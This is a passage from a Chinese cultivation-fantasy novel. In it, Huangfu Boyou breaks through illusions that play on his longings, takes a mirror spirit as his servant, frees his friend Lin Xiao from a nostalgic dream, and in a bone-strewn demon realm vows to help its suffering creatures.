谈笑间,天边忽然掠过一抹银白。一朵祥云破开薄雾,缓缓飘落。云头之上,立着个身着靛蓝道袍的少年。晨雾缭绕中,少年眉眼清朗,分明是记忆里初入仙途时的皇甫伯游模样。 云头落下的皇甫伯游不过十七八岁的模样,眉眼间却透着与年龄不符的沉稳。他将一柄寒光流转的宝剑递到林啸手中,声音清润如泉:“师父准我暂回人间修行,往后便在凤凰山落脚,与你一同练剑。” 这话如重锤叩击心门,林啸怔怔望着眼前少年,喉间发紧。这样并肩修行的场景,曾是他无数个深夜辗转反侧的幻想,亦是深埋心底多年的遗憾。指尖抚过剑柄上的纹路,明知是虚妄,却仍贪恋这份虚幻的圆满,不愿戳破眼前的美梦。 15. 道心 皇甫伯游在一片昏暗里缓缓睁眼,身下是粗粝的茅草褥子。环顾四周,屋内陈设简陋至极:木架上摆着几个红陶碗,黑陶罐泛着古朴的光泽,恍惚间,这些物件竟与记忆深处的画面重叠。 那是儿时在人间的家。 作为天生通灵者,他的母亲曾是城邦里备受尊崇的贞人,专司占卜祭祀。在母亲庇佑下,皇甫伯游度过了一段衣食无忧的岁月。然而,新王登基后,因政见不合,竟残忍地处死了母亲。 幸得母亲旧部拼死掩护,他才得以仓皇出逃。那段逃亡的日子里,追兵如影随形,直到躲进那处与林啸初遇的山洞——那时的他走投无路,只能伪装成老虎,才吓退敌人。 “游儿,该起床了,看娘给你带回来什么?”一道温润嗓音穿透岁月尘埃,在耳畔轻轻响起。皇甫伯游浑身一僵,双脚似被钉在地上,再也挪不动分毫。时光的冲刷下,母亲的面容早已模糊不清,唯有那段记忆,依旧鲜活如初——那年母亲随大王狩猎归来,带回一只软乎乎的小豹猫,说是送给他的礼物。 那只小豹猫野性未脱,浑身透着股不服输的劲儿。即便被圈养在府中,仍时常亮出利爪,将皇甫伯游的手臂抓出道道血痕。即便如此,他仍悉心照料,直到有一天,看着小豹猫望向山林的眼神,他终于明白,有些生命注定属于自由,最终忍痛将它放归自然。 随着细碎的脚步声由远及近,木门“吱呀”轻响。皇甫伯游抬眼望去,只见记忆中年轻貌美的母亲跨门而入。他唇角泛起一抹苦笑,指尖微动间已掐出法诀,清喝声裹挟着灵力震荡开来:“天道轮转,日月明灭,破虚妄,见本真!”刹那间,茅草屋连同周遭景致如镜花水月般轰然碎裂,化作点点流光消散于虚空。 然而,幻境并未就此终结。下一刻,他竟置身于熟悉的凤凰山林间,不远处,化为人形的少年林啸正与天琅、陆蒙相谈甚欢。林啸望见他时,眼睛亮如星辰,热情邀他留下长住。皇甫伯游阖眸敛神,周身腾起青芒,口中念念有词:“万象皆虚,本心为引,破!”随着最后一个字落下,眼前场景再度扭曲崩解,化作漫天飘散的幻象尘埃。 幻象如潮水般层层叠叠涌来。忽而他重回天界,在师父座下刻苦修行;忽而与林啸并坐在琅嬛洞天的古籍堆里,借着摇曳烛火偷读禁书;忽而又置身于灵气翻涌的秘境,感受突破境界时的磅礴力量;甚至连求而不得的绝世仙剑,都在幻境中化作流光落入掌心。 无数令人迷醉的场景轮番上演,每一幕都精准戳中他心底最柔软的渴望。但皇甫伯游神色始终冷毅,指尖法诀翻飞如蝶,无论幻象如何诱人,皆被他以雷霆之势瞬间破除。 当最后一层虚幻如薄纱般撕裂消散,刺骨寒意裹挟着潮湿气息扑面而来。皇甫伯游缓缓睁开眼,发现自己正置身于一处幽深的石洞内,洞顶垂下的钟乳石滴着水珠,在寂静中敲出清脆声响。 “咦!是哪位英雄闯过试炼啦?”一道清亮的声音突然响起。只见一个身着黄铜色衣衫的少年蹦跳着奔来,十六七岁的眉眼间透着股灵动劲儿,发间还别着片翠绿的鳞片装饰。 皇甫伯游目光微凝,少年眉眼间隐约与双鸾有几分相似,心中顿时了然——这便是另一面阴阳镜的镜灵。 “你可是阴阳镜所化?”他沉声道。 “什么另一面不另一面的!”少年眨着亮晶晶的眼睛,伸手晃了晃腰间的玉坠,“我叫青麟!在这湖底孤零零待了上万年,可算盼到主人啦!”说着,他主动凑到皇甫伯游跟前,笑容灿烂,“从今天起,你就是青麟唯一的老大!” “好。”皇甫伯游微微颔首,眼中闪过一丝疑惑,“只是,为何万年间唯有我能破除这些幻境?” 青麟晃了晃发间翠绿的鳞片,狡黠一笑:“主人有所不知,踏入烛九阴秘境的人哪个不是怀揣私心?心底藏着执念,哪能轻易挣脱幻象的牢笼?” 皇甫伯游神色一凛,想起仍被困在幻境中的故人,立刻追问:“青麟,既是认我为主,你可还有法子解开封印?我有位挚友至今陷在幻境里……” 青麟双眉微蹙,闭眼凝神片刻,睫毛轻颤着睁开:“主人,幻境内竟有三道灵息波动……”他语调迟疑,眼底泛起困惑,“只是难以分辨,不知哪位才是你挂念之人?” 皇甫伯游神色骤变,眸中惊色一闪:“你说什么?为何会有三人?究竟是哪三人被困其中?”话音未落,他已向前半步,周身气息不自觉紧绷起来。 青麟指尖轻点眉心,双目微阖。片刻后,他睫毛轻颤睁开眼,神色凝重道:“主人且宽心,幻境中确有三人——其一修为深不可测,气息似是魔头,实力竟在主人之上,此刻与一狐妖并肩;另一边则是虎妖,灵识清明已破虚妄,却……”他话音一顿,眼中泛起疑惑,“似是甘愿沉溺幻境,迟迟不肯脱身。” 皇甫伯游轻轻叹了口气。 青麟突然神色骤变,眉头拧成死结:“不对!这幻境深处竟有双鸾的气息!”他指尖快速掐算,瞳孔猛地收缩,“她曾传音于我,说被焚风魔君禁锢!若这魔头真是焚风,我能以本命灵力封住幻境,让他永世困在虚妄之中!” “万万不可!”皇甫伯游几乎是脱口而出。 青麟睁圆了眼睛,发间鳞片随动作轻晃:“为何?双鸾说为了诛杀此魔,你们甘愿以命相搏。主人既已得我相助,为何反倒不愿斩草除根?” “大义虽重,却不能替他人做选择。”皇甫伯游目光坚定,“若强行替人抉择,与那些践踏苍生的魔头又有何分别?” 青麟挠了挠发间翠绿的鳞片,恍然颔首:“原来如此!青麟被困湖底万年,不通人情世故,倒是莽撞了。只是若不关闭幻境,主人也将被困于此。唯有幻境彻底消散,方能脱身。” 皇甫伯游沉吟片刻,神色凝重:“你既能感知幻境内情形,可知他们三人何时能自行破境而出?” 青麟无奈地叹了口气,眉眼间满是困惑:“实难判断。那虎妖灵智通透,分明早已勘破虚实,却困在往昔温情里,不愿醒来;焚风魔君陷入的幻境最为凶险,正一遍遍重复着他最深的恐惧;最离奇的是那狐妖,明明与幻境无关,却因为被魔君生生拽入,只能如看客般,旁观魔君在幻境中所作所为。” 皇甫伯游叹了口气,又问道:“青麟,你可有办法联络上幻境内的人?” 青麟挠了挠头,发间鳞片跟着晃动:“法子倒是有,只是我灵力微薄,怕是难以奏效。以主人的修为本可一试,但需修炼烛九阴大人留下的玄天秘法中的幻息术,方能穿透虚实屏障。” “真的有玄天秘法?”皇甫伯游大惊。 “自然是真!”青麟语气透着几分骄傲,“烛九阴大人将玄天秘法传给我与双鸾,只是我俩资质愚钝,至今才修得天境中期。” 他眨了眨眼睛,又压低声音道:“双鸾曾说,前些年有个叫顾惊澜的,靠着这秘法,短短半年就从玄妖境初期跃至中期!”话音一转,少年模样的镜灵歪头打量着皇甫伯游,“不过秘法玄妙非常,也不知主人的根骨是否契合。” “自然契合。”皇甫伯游淡淡一笑:“你将玄天秘法传与我罢。” 暮色下,少衡与少兰立在湖边,望着翻涌的湖水眉头紧锁。 少兰轻轻叹了口气:“也不知道阿桥现在怎么样了……” 十天前的景象仍历历在目。焚风魔君现身湖边,周身魔气翻滚。就在陷入迷雾的刹那,他甩出一道由魔力凝成的锁链,寒光一闪,涂山桥躲避不及,被狠狠拽入迷雾之中,消失得无影无踪。 少衡望着湖面,语气沉稳:“阿姊不必忧心。至今没有动静,反倒说明焚风魔君尚未寻得阴阳镜。只要他一无所获,阿桥和其他人就还有生机。”融合巫罗身躯后,少衡的眉眼间多了几分与年龄不符的沉着。 少兰闻言心下稍安,却仍难掩眼底忧色:“但愿如此。可若让他集齐阴阳镜,突破至混元古魔……罗刹谷、人间、妖界,都将面临一场浩劫。” 话音未落,湖面突然炸开一声巨响。一道巨型水柱冲天而起,裹挟着翻涌的水汽与轰鸣声,如同一头觉醒的巨兽,朝着岸边汹涌扑来。 巨型水柱轰然砸落,少衡与少兰旋即飞遁退避百丈之外。两人心有余悸,生怕沾染水汽,被卷入未知幻境。 “这水浪怎会来得如此突然?”少兰望着翻涌的湖面,满脸困惑。 少衡神色一凛,巫罗残留在体内的神识突然传来波动,他瞬间反应过来:“阿姊,有人冲破境界了。” 少兰脸色骤变,声音都带上了颤音:“什么?!不会是焚风魔君冲破混元古魔境了吧!” “应当不是,这是金仙境、神魔境或者玄妖境破境才会产生的气息。”少衡说道。 水下四人之中,林啸灵力衰退、涂山桥身受重伤、焚风魔君再往上突破只能是混元古魔境。因此,破境之人应当是原本就为太乙金仙境的皇甫伯游,那也就意味着,他此刻已经是太乙金仙境后期。 “太好了,这么说来,皇甫上仙与焚风魔君是同阶修为了。”少兰大喜。 “同阶却有差距,一个初入后期,一个处于巅峰。”少衡神色沉稳,“但加上我们相助,足以抗衡焚风魔君。” 水底,青麟向刚出定的皇甫伯游躬身道贺:“恭喜主人突破境界。” 皇甫伯游神色淡然,薄唇轻启:“青麟,是时候将幻息术传与我了。” 凤凰山巅,少年林啸与皇甫伯游执剑相峙。一旁的天琅负手而立,每逢局势胶着,便适时出言点拨。这场比试从晨光熹微战至暮色四合,始终难分高下。而天琅却优哉游哉地置好茶席,慢条斯理地品茗尝果。 终于,二人力竭罢手。 “天琅大哥,再这么指点下去,咱们怕是三日三夜也难见分晓。”林啸拭去额间薄汗,无奈笑道。 天琅抛来两个梨子,挑眉道:“这可怪不得我。伯游已是天仙之境,你不过地境初期,能僵持至今, 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“阿啸,但你知道那是假的,你知道天琅大哥被困魔界、陆蒙大哥寿元已尽,而我——皇甫伯游,的确与你少年时有几百年未见。我也希望年少时你我并未分离,但若如此,琅嬛洞天相遇、不周山昆仑山采药、雷霆秘境探险也就不会发生,对不对?梦境成不了真实,是因为你知道那是假的。人生,必然有遗憾,但即便是遗憾,也是你我的人生。” 林啸若有所思,郑重一揖:“多谢伯游哥点醒,是我执念太深了。” 话音未落,一股无形漩涡骤然席卷而来。 林啸下意识握紧皇甫伯游的手,却还是被一股无形的力量牵引至空中。 待二人落地,已恢复青年模样。林啸因灵力衰退,修为跌落至地境初期。脚下传来硌痛之感,低头望去,竟是白骨堆积如山,延绵至视野尽头! “这是……”林啸骇然后退,下意识靠向皇甫伯游。 “莫慌。此地魔气四溢,不见星辰,应当是魔界。”皇甫伯游神色镇定,目光如炬。 “可我们为何会在此处?” “除了你我,此地还有焚风魔君与涂山桥。那魔君罪孽深重、执念极深,在脱离你的幻境后,反而坠入了自己的幻境,倒也合乎情理。” 林啸了然,抬头环视四周,发觉此地的风太大,裹挟着砂石,刮到脸上有点疼。 “抓紧我。”见林啸白皙面庞被砂石划出细痕,皇甫伯游立刻牵住他的手,一道淡蓝色屏障将二人护在其中。 远处山峦起伏,山后或许能暂避罡风。二人相互搀扶,朝着山峰走去。 “我如今虽灵力衰退,也有地仙境界,这是什么风,怎么这般厉害?”林啸面带疑惑,一只手接过皇甫伯游的白帕,擦了擦脸上血丝。 ““我听师父提起过,魔界有一种罡风,可以将人血肉生生刮得消融,这些白骨,想必便是由此而来。”皇甫伯游望着满地骸骨,眼底满是悲悯。 “伯游哥心怀苍生,不愧是慈悲上仙。” “师父曾说,“天上多一神仙,不如人间多一圣人。”我以前还不明白,可今日看到这累累白骨,才觉得我辈修士,若是在天上待久了,真的不知道下界众生,竟活得如此艰辛痛苦。”皇甫伯游感慨说。 “伯游哥,我在罗刹谷密室时,就听说这十年间,你一直降妖伏魔,你已经做得够好了。”林啸温声安慰。 “阿啸,你知道么?我不久前刚突破到太乙金仙境后期。”皇甫伯游突然问。 “那便恭喜伯游哥了,等咱们出去,好好庆贺一番,你不知道,我这些年攒了许多好吃好玩的。就等着你来了一同分享呢。”林啸展颜一笑。 “阿啸,你说我们修行的意义是什么?”皇甫伯游轻轻叹了口气。 林啸并未回答,而是转过身,正面皇甫伯游,盯着对方的眼睛,等待好友继续说。 “阿啸,太乙金仙境后期之上,便是混元大罗金仙境界。古往今来,达到此境界的修士寥寥可数,且俱为先天神祇。愚兄不才,曾被多位祖师看好是最有希望突破此境界的人族修士。” “但天道不仁,以万物为刍狗,有条铁律——大罗金仙不得插手世间因果。况且,还未隐退的大罗金仙,都身居要职,根本不可能脱身。” “可是,焚风魔君这样的神魔境后期修士有谁能降服?魔界普通生灵何辜,竟然被罡风生生吹得血肉消融?” 皇甫伯游神色决绝,一字一顿道:“阿啸,我不想再往上修行了!” “好!”林啸紧握皇甫伯游双手:“无论你想做什么,阿啸定全力支持!” “阿啸,也许离开烛龙秘境后,我想去现实中的魔界看看,若魔界生灵果真如此艰难,我想尽我所能相助。”皇甫伯游说道。 “好!”林啸坚定说道:“魔界千难万险,你若舍身救天下人,我定舍身救你!” 皇甫伯游闻言,轻轻捂住林啸的嘴:“什么舍身不舍身,别说这么不吉利的话。” “好!”林啸拨开皇甫伯游的手,莞尔一笑。 皇甫伯游突然愣住,幽幽叹了口气。 林啸不明白皇甫伯游为何叹气,只是拉住好友的手,在罡风中,缓缓前行。